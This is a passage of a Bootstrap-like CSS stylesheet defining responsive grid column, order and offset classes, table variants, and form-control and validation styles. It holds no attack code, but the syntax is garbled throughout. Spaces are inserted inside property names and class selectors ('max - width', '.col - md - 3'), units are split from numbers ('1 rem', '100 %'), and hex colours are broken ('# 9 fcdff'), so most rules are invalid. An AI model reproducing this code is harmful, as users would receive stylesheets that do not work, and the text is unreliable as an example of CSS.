        flex: 0 0 16.666667 % ;
        max - width: 16.666667 %
    }

    .col - md - 3 {
        -webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
        flex: 0 0 25 % ;
        max - width: 25 %
    }

    .col - md - 4 {
        -webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
        flex: 0 0 33.333333 % ;
        max - width: 33.333333 %
    }

    .col - md - 5 {
        -webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
        flex: 0 0 41.666667 % ;
        max - width: 41.666667 %
    }

    .col - md - 6 {
        -webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
        flex: 0 0 50 % ;
        max - width: 50 %
    }

    .col - md - 7 {
        -webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
        flex: 0 0 58.333333 % ;
        max - width: 58.333333 %
    }

    .col - md - 8 {
        -webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
        flex: 0 0 66.666667 % ;
        max - width: 66.666667 %
    }

    .col - md - 9 {
        -webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
        flex: 0 0 75 % ;
        max - width: 75 %
    }

    .col - md - 10 {
        -webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
        flex: 0 0 83.333333 % ;
        max - width: 83.333333 %
    }

    .col - md - 11 {
        -webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
        flex: 0 0 91.666667 % ;
        max - width: 91.666667 %
    }

    .col - md - 12 {
        -webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
        flex: 0 0 100 % ;
        max - width: 100 %
    }

    .order - md - first {
        -webkit - box - ordinal - group: 0; - ms - flex - order: -1;
        order: -1
    }

    .order - md - last {
        -webkit - box - ordinal - group: 14; - ms - flex - order: 13;
        order: 13
    }

    .order - md - 0 {
        -webkit - box - ordinal - group: 1; - ms - flex - order: 0;
        order: 0
    }

    .order - md - 1 {
        -webkit - box - ordinal - group: 2; - ms - flex - order: 1;
        order: 1
    }

    .order - md - 2 {
        -webkit - box - ordinal - group: 3; - ms - flex - order: 2;
        order: 2
    }

    .order - md - 3 {
        -webkit - box - ordinal - group: 4; - ms - flex - order: 3;
        order: 3
    }

    .order - md - 4 {
        -webkit - box - ordinal - group: 5; - ms - flex - order: 4;
        order: 4
    }

    .order - md - 5 {
        -webkit - box - ordinal - group: 6; - ms - flex - order: 5;
        order: 5
    }

    .order - md - 6 {
        -webkit - box - ordinal - group: 7; - ms - flex - order: 6;
        order: 6
    }

    .order - md - 7 {
        -webkit - box - ordinal - group: 8; - ms - flex - order: 7;
        order: 7
    }

    .order - md - 8 {
        -webkit - box - ordinal - group: 9; - ms - flex - order: 8;
        order: 8
    }

    .order - md - 9 {
        -webkit - box - ordinal - group: 10; - ms - flex - order: 9;
        order: 9
    }

    .order - md - 10 {
        -webkit - box - ordinal - group: 11; - ms - flex - order: 10;
        order: 10
    }

    .order - md - 11 {
        -webkit - box - ordinal - group: 12; - ms - flex - order: 11;
        order: 11
    }

    .order - md - 12 {
        -webkit - box - ordinal - group: 13; - ms - flex - order: 12;
        order: 12
    }

    .offset - md - 0 {
        margin - left: 0
    }

    .offset - md - 1 {
        margin - left: 8.333333 %
    }

    .offset - md - 2 {
        margin - left: 16.666667 %
    }

    .offset - md - 3 {
        margin - left: 25 %
    }

    .offset - md - 4 {
        margin - left: 33.333333 %
    }

    .offset - md - 5 {
        margin - left: 41.666667 %
    }

    .offset - md - 6 {
        margin - left: 50 %
    }

    .offset - md - 7 {
        margin - left: 58.333333 %
    }

    .offset - md - 8 {
        margin - left: 66.666667 %
    }

    .offset - md - 9 {
        margin - left: 75 %
    }

    .offset - md - 10 {
        margin - left: 83.333333 %
    }

    .offset - md - 11 {
        margin - left: 91.666667 %
    }
}

@
media(min - width: 992 px) {
    .col - lg {
        -ms - flex - preferred - size: 0;
        flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
        flex - grow: 1;
        max - width: 100 %
    }

    .col - lg - auto {
        -webkit - box - flex: 0; - ms - flex: 0 0 auto;
        flex: 0 0 auto;
        width: auto;
        max - width: none
    }

    .col - lg - 1 {
        -webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
        flex: 0 0 8.333333 % ;
        max - width: 8.333333 %
    }

    .col - lg - 2 {
        -webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
        flex: 0 0 16.666667 % ;
        max - width: 16.666667 %
    }

    .col - lg - 3 {
        -webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
        flex: 0 0 25 % ;
        max - width: 25 %
    }

    .col - lg - 4 {
        -webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
        flex: 0 0 33.333333 % ;
        max - width: 33.333333 %
    }

    .col - lg - 5 {
        -webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
        flex: 0 0 41.666667 % ;
        max - width: 41.666667 %
    }

    .col - lg - 6 {
        -webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
        flex: 0 0 50 % ;
        max - width: 50 %
    }

    .col - lg - 7 {
        -webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
        flex: 0 0 58.333333 % ;
        max - width: 58.333333 %
    }

    .col - lg - 8 {
        -webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
        flex: 0 0 66.666667 % ;
        max - width: 66.666667 %
    }

    .col - lg - 9 {
        -webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
        flex: 0 0 75 % ;
        max - width: 75 %
    }

    .col - lg - 10 {
        -webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
        flex: 0 0 83.333333 % ;
        max - width: 83.333333 %
    }

    .col - lg - 11 {
        -webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
        flex: 0 0 91.666667 % ;
        max - width: 91.666667 %
    }

    .col - lg - 12 {
        -webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
        flex: 0 0 100 % ;
        max - width: 100 %
    }

    .order - lg - first {
        -webkit - box - ordinal - group: 0; - ms - flex - order: -1;
        order: -1
    }

    .order - lg - last {
        -webkit - box - ordinal - group: 14; - ms - flex - order: 13;
        order: 13
    }

    .order - lg - 0 {
        -webkit - box - ordinal - group: 1; - ms - flex - order: 0;
        order: 0
    }

    .order - lg - 1 {
        -webkit - box - ordinal - group: 2; - ms - flex - order: 1;
        order: 1
    }

    .order - lg - 2 {
        -webkit - box - ordinal - group: 3; - ms - flex - order: 2;
        order: 2
    }

    .order - lg - 3 {
        -webkit - box - ordinal - group: 4; - ms - flex - order: 3;
        order: 3
    }

    .order - lg - 4 {
        -webkit - box - ordinal - group: 5; - ms - flex - order: 4;
        order: 4
    }

    .order - lg - 5 {
        -webkit - box - ordinal - group: 6; - ms - flex - order: 5;
        order: 5
    }

    .order - lg - 6 {
        -webkit - box - ordinal - group: 7; - ms - flex - order: 6;
        order: 6
    }

    .order - lg - 7 {
        -webkit - box - ordinal - group: 8; - ms - flex - order: 7;
        order: 7
    }

    .order - lg - 8 {
        -webkit - box - ordinal - group: 9; - ms - flex - order: 8;
        order: 8
    }

    .order - lg - 9 {
        -webkit - box - ordinal - group: 10; - ms - flex - order: 9;
        order: 9
    }

    .order - lg - 10 {
        -webkit - box - ordinal - group: 11; - ms - flex - order: 10;
        order: 10
    }

    .order - lg - 11 {
        -webkit - box - ordinal - group: 12; - ms - flex - order: 11;
        order: 11
    }

    .order - lg - 12 {
        -webkit - box - ordinal - group: 13; - ms - flex - order: 12;
        order: 12
    }

    .offset - lg - 0 {
        margin - left: 0
    }

    .offset - lg - 1 {
        margin - left: 8.333333 %
    }

    .offset - lg - 2 {
        margin - left: 16.666667 %
    }

    .offset - lg - 3 {
        margin - left: 25 %
    }

    .offset - lg - 4 {
        margin - left: 33.333333 %
    }

    .offset - lg - 5 {
        margin - left: 41.666667 %
    }

    .offset - lg - 6 {
        margin - left: 50 %
    }

    .offset - lg - 7 {
        margin - left: 58.333333 %
    }

    .offset - lg - 8 {
        margin - left: 66.666667 %
    }

    .offset - lg - 9 {
        margin - left: 75 %
    }

    .offset - lg - 10 {
        margin - left: 83.333333 %
    }

    .offset - lg - 11 {
        margin - left: 91.666667 %
    }
}

@
media(min - width: 1200 px) {
    .col - xl {
        -ms - flex - preferred - size: 0;
        flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
        flex - grow: 1;
        max - width: 100 %
    }

    .col - xl - auto {
        -webkit - box - flex: 0; - ms - flex: 0 0 auto;
        flex: 0 0 auto;
        width: auto;
        max - width: none
    }

    .col - xl - 1 {
        -webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
        flex: 0 0 8.333333 % ;
        max - width: 8.333333 %
    }

    .col - xl - 2 {
        -webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
        flex: 0 0 16.666667 % ;
        max - width: 16.666667 %
    }

    .col - xl - 3 {
        -webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
        flex: 0 0 25 % ;
        max - width: 25 %
    }

    .col - xl - 4 {
        -webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
        flex: 0 0 33.333333 % ;
        max - width: 33.333333 %
    }

    .col - xl - 5 {
        -webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
        flex: 0 0 41.666667 % ;
        max - width: 41.666667 %
    }

    .col - xl - 6 {
        -webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
        flex: 0 0 50 % ;
        max - width: 50 %
    }

    .col - xl - 7 {
        -webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
        flex: 0 0 58.333333 % ;
        max - width: 58.333333 %
    }

    .col - xl - 8 {
        -webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
        flex: 0 0 66.666667 % ;
        max - width: 66.666667 %
    }

    .col - xl - 9 {
        -webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
        flex: 0 0 75 % ;
        max - width: 75 %
    }

    .col - xl - 10 {
        -webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
        flex: 0 0 83.333333 % ;
        max - width: 83.333333 %
    }

    .col - xl - 11 {
        -webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
        flex: 0 0 91.666667 % ;
        max - width: 91.666667 %
    }

    .col - xl - 12 {
        -webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
        flex: 0 0 100 % ;
        max - width: 100 %
    }

    .order - xl - first {
        -webkit - box - ordinal - group: 0; - ms - flex - order: -1;
        order: -1
    }

    .order - xl - last {
        -webkit - box - ordinal - group: 14; - ms - flex - order: 13;
        order: 13
    }

    .order - xl - 0 {
        -webkit - box - ordinal - group: 1; - ms - flex - order: 0;
        order: 0
    }

    .order - xl - 1 {
        -webkit - box - ordinal - group: 2; - ms - flex - order: 1;
        order: 1
    }

    .order - xl - 2 {
        -webkit - box - ordinal - group: 3; - ms - flex - order: 2;
        order: 2
    }

    .order - xl - 3 {
        -webkit - box - ordinal - group: 4; - ms - flex - order: 3;
        order: 3
    }

    .order - xl - 4 {
        -webkit - box - ordinal - group: 5; - ms - flex - order: 4;
        order: 4
    }

    .order - xl - 5 {
        -webkit - box - ordinal - group: 6; - ms - flex - order: 5;
        order: 5
    }

    .order - xl - 6 {
        -webkit - box - ordinal - group: 7; - ms - flex - order: 6;
        order: 6
    }

    .order - xl - 7 {
        -webkit - box - ordinal - group: 8; - ms - flex - order: 7;
        order: 7
    }

    .order - xl - 8 {
        -webkit - box - ordinal - group: 9; - ms - flex - order: 8;
        order: 8
    }

    .order - xl - 9 {
        -webkit - box - ordinal - group: 10; - ms - flex - order: 9;
        order: 9
    }

    .order - xl - 10 {
        -webkit - box - ordinal - group: 11; - ms - flex - order: 10;
        order: 10
    }

    .order - xl - 11 {
        -webkit - box - ordinal - group: 12; - ms - flex - order: 11;
        order: 11
    }

    .order - xl - 12 {
        -webkit - box - ordinal - group: 13; - ms - flex - order: 12;
        order: 12
    }

    .offset - xl - 0 {
        margin - left: 0
    }

    .offset - xl - 1 {
        margin - left: 8.333333 %
    }

    .offset - xl - 2 {
        margin - left: 16.666667 %
    }

    .offset - xl - 3 {
        margin - left: 25 %
    }

    .offset - xl - 4 {
        margin - left: 33.333333 %
    }

    .offset - xl - 5 {
        margin - left: 41.666667 %
    }

    .offset - xl - 6 {
        margin - left: 50 %
    }

    .offset - xl - 7 {
        margin - left: 58.333333 %
    }

    .offset - xl - 8 {
        margin - left: 66.666667 %
    }

    .offset - xl - 9 {
        margin - left: 75 %
    }

    .offset - xl - 10 {
        margin - left: 83.333333 %
    }

    .offset - xl - 11 {
        margin - left: 91.666667 %
    }
}

.table {
    width: 100 % ;
    max - width: 100 % ;
    margin - bottom: 1 rem;
    background - color: transparent
}

.table td,
.table th {
    padding: .75 rem;
    vertical - align: top;
    border - top: 1 px solid # dee2e6
}

.table thead th {
    vertical - align: bottom;
    border - bottom: 2 px solid # dee2e6
}

.table tbody + tbody {
    border - top: 2 px solid # dee2e6
}

.table.table {
    background - color: # fff
}

.table - sm td,
    .table - sm th {
        padding: .3 rem
    }

.table - bordered {
    border: 1 px solid # dee2e6
}

.table - bordered td,
    .table - bordered th {
        border: 1 px solid # dee2e6
    }

.table - bordered thead td,
    .table - bordered thead th {
        border - bottom - width: 2 px
    }

.table - striped tbody tr: nth - of - type(odd) {
    background - color: rgba(0, 0, 0, .05)
}

.table - hover tbody tr: hover {
    background - color: rgba(0, 0, 0, .075)
}

.table - primary,
    .table - primary > td,
    .table - primary > th {
        background - color: # b8daff
    }

.table - hover.table - primary: hover {
    background - color: #9fcdff
    }

    .table-hover .table-primary:hover>td,
    .table-hover .table-primary:hover>th {
        background-color: # 9 fcdff
}

.table - secondary,
    .table - secondary > td,
    .table - secondary > th {
        background - color: # d6d8db
    }

.table - hover.table - secondary: hover {
    background - color: # c8cbcf
}

.table - hover.table - secondary: hover > td,
    .table - hover.table - secondary: hover > th {
        background - color: # c8cbcf
    }

.table - success,
    .table - success > td,
    .table - success > th {
        background - color: # c3e6cb
    }

.table - hover.table - success: hover {
    background - color: # b1dfbb
}

.table - hover.table - success: hover > td,
    .table - hover.table - success: hover > th {
        background - color: # b1dfbb
    }

.table - info,
    .table - info > td,
    .table - info > th {
        background - color: # bee5eb
    }

.table - hover.table - info: hover {
    background - color: # abdde5
}

.table - hover.table - info: hover > td,
    .table - hover.table - info: hover > th {
        background - color: # abdde5
    }

.table - warning,
    .table - warning > td,
    .table - warning > th {
        background - color: # ffeeba
    }

.table - hover.table - warning: hover {
    background - color: # ffe8a1
}

.table - hover.table - warning: hover > td,
    .table - hover.table - warning: hover > th {
        background - color: # ffe8a1
    }

.table - danger,
    .table - danger > td,
    .table - danger > th {
        background - color: # f5c6cb
    }

.table - hover.table - danger: hover {
    background - color: # f1b0b7
}

.table - hover.table - danger: hover > td,
    .table - hover.table - danger: hover > th {
        background - color: # f1b0b7
    }

.table - light,
    .table - light > td,
    .table - light > th {
        background - color: # fdfdfe
    }

.table - hover.table - light: hover {
    background - color: # ececf6
}

.table - hover.table - light: hover > td,
    .table - hover.table - light: hover > th {
        background - color: # ececf6
    }

.table - dark,
    .table - dark > td,
    .table - dark > th {
        background - color: # c6c8ca
    }

.table - hover.table - dark: hover {
    background - color: # b9bbbe
}

.table - hover.table - dark: hover > td,
    .table - hover.table - dark: hover > th {
        background - color: # b9bbbe
    }

.table - active,
    .table - active > td,
    .table - active > th {
        background - color: rgba(0, 0, 0, .075)
    }

.table - hover.table - active: hover {
    background - color: rgba(0, 0, 0, .075)
}

.table - hover.table - active: hover > td,
    .table - hover.table - active: hover > th {
        background - color: rgba(0, 0, 0, .075)
    }

.table.thead - dark th {
    color: # fff;
    background - color: #212529;
        border-color: # 32383e
}

.table.thead - light th {
    color: #495057;
        background-color: # e9ecef;
    border - color: # dee2e6
}

.table - dark {
    color: # fff;
    background - color: #212529
    }

    .table-dark td,
    .table-dark th,
    .table-dark thead th {
        border-color: # 32383e
}

.table - dark.table - bordered {
    border: 0
}

.table - dark.table - striped tbody tr: nth - of - type(odd) {
    background - color: rgba(255, 255, 255, .05)
}

.table - dark.table - hover tbody tr: hover {
    background - color: rgba(255, 255, 255, .075)
}

@
media(max - width: 575.98 px) {
    .table - responsive - sm {
        display: block;
        width: 100 % ;
        overflow - x: auto; - webkit - overflow - scrolling: touch; - ms - overflow - style: -ms - autohiding - scrollbar
    }

    .table - responsive - sm > .table - bordered {
        border: 0
    }
}

@
media(max - width: 767.98 px) {
    .table - responsive - md {
        display: block;
        width: 100 % ;
        overflow - x: auto; - webkit - overflow - scrolling: touch; - ms - overflow - style: -ms - autohiding - scrollbar
    }

    .table - responsive - md > .table - bordered {
        border: 0
    }
}

@
media(max - width: 991.98 px) {
    .table - responsive - lg {
        display: block;
        width: 100 % ;
        overflow - x: auto; - webkit - overflow - scrolling: touch; - ms - overflow - style: -ms - autohiding - scrollbar
    }

    .table - responsive - lg > .table - bordered {
        border: 0
    }
}

@
media(max - width: 1199.98 px) {
    .table - responsive - xl {
        display: block;
        width: 100 % ;
        overflow - x: auto; - webkit - overflow - scrolling: touch; - ms - overflow - style: -ms - autohiding - scrollbar
    }

    .table - responsive - xl > .table - bordered {
        border: 0
    }
}

.table - responsive {
    display: block;
    width: 100 % ;
    overflow - x: auto; - webkit - overflow - scrolling: touch; - ms - overflow - style: -ms - autohiding - scrollbar
}

.table - responsive > .table - bordered {
    border: 0
}

.form - control {
    display: block;
    width: 100 % ;
    padding: .375 rem.75 rem;
    font - size: 1 rem;
    line - height: 1.5;
    color: #495057;
        background-color: # fff;
    background - clip: padding - box;
    border: 1 px solid # ced4da;
    border - radius: .25 rem;
    transition: border - color.15 s ease - in -out,
    box - shadow.15 s ease - in -out
}

.form - control::-ms - expand {
    background - color: transparent;
    border: 0
}

.form - control: focus {
    color: #495057;
        background-color: # fff;
    border - color: #80bdff;
        outline: 0;
        box-shadow: 0 0 0 .2rem rgba(0, 123, 255, .25)
    }

    .form-control::-webkit-input-placeholder {
        color: # 6 c757d;
    opacity: 1
}

.form - control::-moz - placeholder {
    color: #6c757d;
        opacity: 1
    }

    .form-control:-ms-input-placeholder {
        color: # 6 c757d;
    opacity: 1
}

.form - control::-ms - input - placeholder {
    color: #6c757d;
        opacity: 1
    }

    .form-control::placeholder {
        color: # 6 c757d;
    opacity: 1
}

.form - control: disabled,
    .form - control[readonly] {
        background - color: # e9ecef;
        opacity: 1
    }

select.form - control: not([size]): not([multiple]) {
    height: calc(2.25 rem + 2 px)
}

select.form - control: focus::-ms - value {
    color: #495057;
        background-color: # fff
}

.form - control - file,
    .form - control - range {
        display: block;
        width: 100 %
    }

.col - form - label {
    padding - top: calc(.375 rem + 1 px);
    padding - bottom: calc(.375 rem + 1 px);
    margin - bottom: 0;
    font - size: inherit;
    line - height: 1.5
}

.col - form - label - lg {
    padding - top: calc(.5 rem + 1 px);
    padding - bottom: calc(.5 rem + 1 px);
    font - size: 1.25 rem;
    line - height: 1.5
}

.col - form - label - sm {
    padding - top: calc(.25 rem + 1 px);
    padding - bottom: calc(.25 rem + 1 px);
    font - size: .875 rem;
    line - height: 1.5
}

.form - control - plaintext {
    display: block;
    width: 100 % ;
    padding - top: .375 rem;
    padding - bottom: .375 rem;
    margin - bottom: 0;
    line - height: 1.5;
    background - color: transparent;
    border: solid transparent;
    border - width: 1 px 0
}

.form - control - plaintext.form - control - lg,
    .form - control - plaintext.form - control - sm,
    .input - group - lg > .form - control - plaintext.form - control,
    .input - group - lg > .input - group - append > .form - control - plaintext.btn,
    .input - group - lg > .input - group - append > .form - control - plaintext.input - group - text,
    .input - group - lg > .input - group - prepend > .form - control - plaintext.btn,
    .input - group - lg > .input - group - prepend > .form - control - plaintext.input - group - text,
    .input - group - sm > .form - control - plaintext.form - control,
    .input - group - sm > .input - group - append > .form - control - plaintext.btn,
    .input - group - sm > .input - group - append > .form - control - plaintext.input - group - text,
    .input - group - sm > .input - group - prepend > .form - control - plaintext.btn,
    .input - group - sm > .input - group - prepend > .form - control - plaintext.input - group - text {
        padding - right: 0;
        padding - left: 0
    }

.form - control - sm,
    .input - group - sm > .form - control,
    .input - group - sm > .input - group - append > .btn,
    .input - group - sm > .input - group - append > .input - group - text,
    .input - group - sm > .input - group - prepend > .btn,
    .input - group - sm > .input - group - prepend > .input - group - text {
        padding: .25 rem.5 rem;
        font - size: .875 rem;
        line - height: 1.5;
        border - radius: .2 rem
    }

.input - group - sm > .input - group - append > select.btn: not([size]): not([multiple]),
    .input - group - sm > .input - group - append > select.input - group - text: not([size]): not([multiple]),
    .input - group - sm > .input - group - prepend > select.btn: not([size]): not([multiple]),
    .input - group - sm > .input - group - prepend > select.input - group - text: not([size]): not([multiple]),
    .input - group - sm > select.form - control: not([size]): not([multiple]),
    select.form - control - sm: not([size]): not([multiple]) {
        height: calc(1.8125 rem + 2 px)
    }

.form - control - lg,
    .input - group - lg > .form - control,
    .input - group - lg > .input - group - append > .btn,
    .input - group - lg > .input - group - append > .input - group - text,
    .input - group - lg > .input - group - prepend > .btn,
    .input - group - lg > .input - group - prepend > .input - group - text {
        padding: .5 rem 1 rem;
        font - size: 1.25 rem;
        line - height: 1.5;
        border - radius: .3 rem
    }

.input - group - lg > .input - group - append > select.btn: not([size]): not([multiple]),
    .input - group - lg > .input - group - append > select.input - group - text: not([size]): not([multiple]),
    .input - group - lg > .input - group - prepend > select.btn: not([size]): not([multiple]),
    .input - group - lg > .input - group - prepend > select.input - group - text: not([size]): not([multiple]),
    .input - group - lg > select.form - control: not([size]): not([multiple]),
    select.form - control - lg: not([size]): not([multiple]) {
        height: calc(2.875 rem + 2 px)
    }

.form - group {
    margin - bottom: 1 rem
}

.form - text {
    display: block;
    margin - top: .25 rem
}

.form - row {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - ms - flex - wrap: wrap;
    flex - wrap: wrap;
    margin - right: -5 px;
    margin - left: -5 px
}

.form - row > .col,
    .form - row > [class *= col - ] {
        padding - right: 5 px;
        padding - left: 5 px
    }

.form - check {
    position: relative;
    display: block;
    padding - left: 1.25 rem
}

.form - check - input {
    position: absolute;
    margin - top: .3 rem;
    margin - left: -1.25 rem
}

.form - check - input: disabled~.form - check - label {
    color: #6c757d
    }

    .form-check-label {
        margin-bottom: 0
    }

    .form-check-inline {
        display: -webkit-inline-box;
        display: -ms-inline-flexbox;
        display: inline-flex;
        -webkit-box-align: center;
        -ms-flex-align: center;
        align-items: center;
        padding-left: 0;
        margin-right: .75rem
    }

    .form-check-inline .form-check-input {
        position: static;
        margin-top: 0;
        margin-right: .3125rem;
        margin-left: 0
    }

    .valid-feedback {
        display: none;
        width: 100%;
        margin-top: .25rem;
        font-size: 80%;
        color: # 28 a745
}

.valid - tooltip {
    position: absolute;
    top: 100 % ;
    z - index: 5;
    display: none;
    max - width: 100 % ;
    padding: .5 rem;
    margin - top: .1 rem;
    font - size: .875 rem;
    line - height: 1;
    color: # fff;
    background - color: rgba(40, 167, 69, .8);
    border - radius: .2 rem
}

.custom - select.is - valid,
    .form - control.is - valid,
    .was - validated.custom - select: valid,
    .was - validated.form - control: valid {
        border - color: #28a745
    }

    .custom-select.is-valid:focus,
    .form-control.is-valid:focus,
    .was-validated .custom-select:valid:focus,
    .was-validated .form-control:valid:focus {
        border-color: # 28 a745;
        box - shadow: 0 0 0.2 rem rgba(40, 167, 69, .25)
    }

.custom - select.is - valid~.valid - feedback,
    .custom - select.is - valid~.valid - tooltip,
    .form - control.is - valid~.valid - feedback,
    .form - control.is - valid~.valid - tooltip,
    .was - validated.custom - select: valid~.valid - feedback,
    .was - validated.custom - select: valid~.valid - tooltip,
    .was - validated.form - control: valid~.valid - feedback,
    .was - validated.form - control: valid~.valid - tooltip {
        display: block
    }

.form - check - input.is - valid~.form - check - label,
    .was - validated.form - check - input: valid~.form - check - label {
        color: #28a745
    }

    .form-check-input.is-valid~.valid-feedback,
    .form-check-input.is-valid~.valid-tooltip,
    .was-validated .form-check-input:valid~.valid-feedback,
    .was-validated .form-check-input:valid~.valid-tooltip {
        display: block
    }

    .custom-control-input.is-valid~.custom-control-label,
    .was-validated .custom-control-input:valid~.custom-control-label {
        color: # 28 a745
    }

.custom - control - input.is - valid~.custom - control - label::before,
    .was - validated.custom - control - input: valid~.custom - control - label::before {
        background - color: #71dd8a
    }

    .custom-control-input.is-valid~.valid-feedback,
    .custom-control-input.is-valid~.valid-tooltip,
    .was-validated .custom-control-input:valid~.valid-feedback,
    .was-validated .custom-control-input:valid~.valid-tooltip {
        display: block
    }

    .custom-control-input.is-valid:checked~.custom-control-label::before,
    .was-validated .custom-control-input:valid:checked~.custom-control-label::before {
        background-color: # 34 ce57
    }

.custom - control - input.is - valid: focus~.custom - control - label::before,
    .was - validated.custom - control - input: valid: focus~.custom - control - label::before {
        box - shadow: 0 0 0 1 px # fff, 0 0 0.2 rem rgba(40, 167, 69, .25)
    }

.custom - file - input.is - valid~.custom - file - label,
    .was - validated.custom - file - input: valid~.custom - file - label {
        border - color: #28a745
    }

    .custom-file-input.is-valid~.custom-file-label::before,
    .was-validated .custom-file-input:valid~.custom-file-label::before {
        border-color: inherit
    }

    .custom-file-input.is-valid~.valid-feedback,
    .custom-file-input.is-valid~.valid-tooltip,
    .was-validated .custom-file-input:valid~.valid-feedback,
    .was-validated .custom-file-input:valid~.valid-tooltip {
        display: block
    }

    .custom-file-input.is-valid:focus~.custom-file-label,
    .was-validated .custom-file-input:valid:focus~.custom-file-label {
        box-shadow: 0 0 0 .2rem rgba(40, 167, 69, .25)
    }

    .invalid-feedback {
        display: none;
        width: 100%;
        margin-top: .25rem;
        font-size: 80%;
        color: # dc3545
    }

.invalid - tooltip {
    position: absolute;
    top: 100 % ;
    z - index: 5;
    display: none;
    max - width: 100 % ;
    padding: .5 rem;
    margin - top: .1 rem;
    font - size: .875 rem;
    line - height: 1;
    color: # fff;
    background - color: rgba(220, 53, 69, .8);
    border - radius: .2 rem
}

.custom - select.is - invalid,
    .form - control.is - invalid,
    .was - validated.custom - select: invalid,
    .was - validated.form - control: invalid {
        border - color: # dc3545
    }

.custom - select.is - invalid: focus,
    .form - control.is - invalid: focus,
    .was - validated.custom - select: invalid: focus,
    .was - validated.form - control: invalid: focus {
        border - color: # dc3545;
        box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .25)
    }

.custom - select.is - invalid~.invalid - feedback,
    .custom - select.is - invalid~.invalid - tooltip,
    .form - control.is - invalid~.invalid - feedback,
    .form - control.is - invalid~.invalid - tooltip,
    .was - validated.custom - select: invalid~.invalid - feedback,
    .was - validated.custom - select: invalid~.invalid - tooltip,
    .was - validated.form - control: invalid~.invalid - feedback,
    .was - validated.form - control: invalid~.invalid - tooltip {
        display: block
    }

.form - check - input.is - invalid~.form - check - label,
    .was - validated.form - check - input: invalid~.form - check - label {
        color: # dc3545
    }

.form - check - input.is - invalid~.invalid - feedback,
    .form - check - input.is - invalid~.invalid - tooltip,
    .was - validated.form - check - input: invalid~.invalid - feedback,
    .was - validated.form - check - input: invalid~.invalid - tooltip {
        display: block
    }

.custom - control - input.is - invalid~.custom - control - label,
    .was - validated.custom - control - input: invalid~.custom - control - label {
        color: # dc3545
    }

.custom - control - input.is - invalid~.custom - control - label::before,
    .was - validated.custom - control - input: invalid~.custom - control - label::before {
        background - color: # efa2a9
    }

.custom - control - input.is - invalid~.invalid - feedback,
    .custom - control - input.is - invalid~.invalid - tooltip,
    .was - validated.custom - control - input: invalid~.invalid - feedback,
    .was - validated.custom - control - input: invalid~.invalid - tooltip {
        display: block
    }

.custom - control - input.is - invalid: checked~.custom - control - label::before,
    .was - validated.custom - control - input: invalid: checked~.custom - control - label::before {
        background - color: # e4606d
    }

.custom - control - input.is - invalid: focus~.custom - control - label::before,
    .was - validated.custom - control - input: invalid: focus~.custom - control - label::before {
        box - shadow: 0 0 0 1 px # fff, 0 0 0.2 rem rgba(220, 53, 69, .25)
    }

.custom - file - input.is - invalid~.custom - file - label,
    .was - validated.custom - file - input: invalid~.custom - file - label {
        border - color: # dc3545
    }

.custom - file - input.is - invalid~.custom - file - label::before,
    .was - validated.custom - file - input: invalid~.custom - file - label::before {
        border - color: inherit
    }

.custom - file - input.is - invalid~.invalid - feedback,
    .custom - file - input.is - invalid~.invalid - tooltip,
    .was - validated.custom - file - input: invalid~.invalid - feedback,
    .was - validated.custom - file - input: invalid~.invalid - tooltip {
        display: block
    }

.custom - file - input.is - invalid: focus~.custom - file - label,
    .was - validated.custom - file - input: invalid: focus~.custom - file - label {
        box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .25)
    }

.form - inline {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - orient: horizontal; - webkit - box - direction: normal; - ms - flex - flow: row wrap;
    flex - flow: row wrap; - webkit - box - align: center; - ms - flex - align: center;
    align - items: center
}

.form - inline.form - check {
    width: 100 %
}

@
media(min - width: 576 px) {
    .form - inline label {
        display: -webkit - box;
        display: -ms - flexbox;
        display: flex; - webkit - box - align: center; - ms - flex - align: center;
        align - items: center; - webkit - box - pack: center; - ms - flex - pack: center;
        justify - content: center;
        margin - bottom: 0
    }

    .form - inline.form - group {
        display: -webkit - box;
        display: -ms - flexbox;
        display: flex; - webkit - box - flex: 0; - ms - flex: 0 0 auto;
        flex: 0 0 auto; - webkit - box - orient: horizontal; - webkit - box - direction: normal; - ms - flex - flow: row wrap;
        flex - flow: row wrap; - webkit - box - align: center; - ms - flex - align: center;
        align - items: center;
        margin - bottom: 0
    }

    .form - inline.form - control {
        display: inline - block;
        width: auto;
        vertical - align: middle
    }

    .form - inline.form - control - plaintext {
        display: inline - block
    }

    .form - inline.input - group {
        width: auto
    }

    .form - inline.form - check {
        display: -webkit - box;
        display: -ms - flexbox;
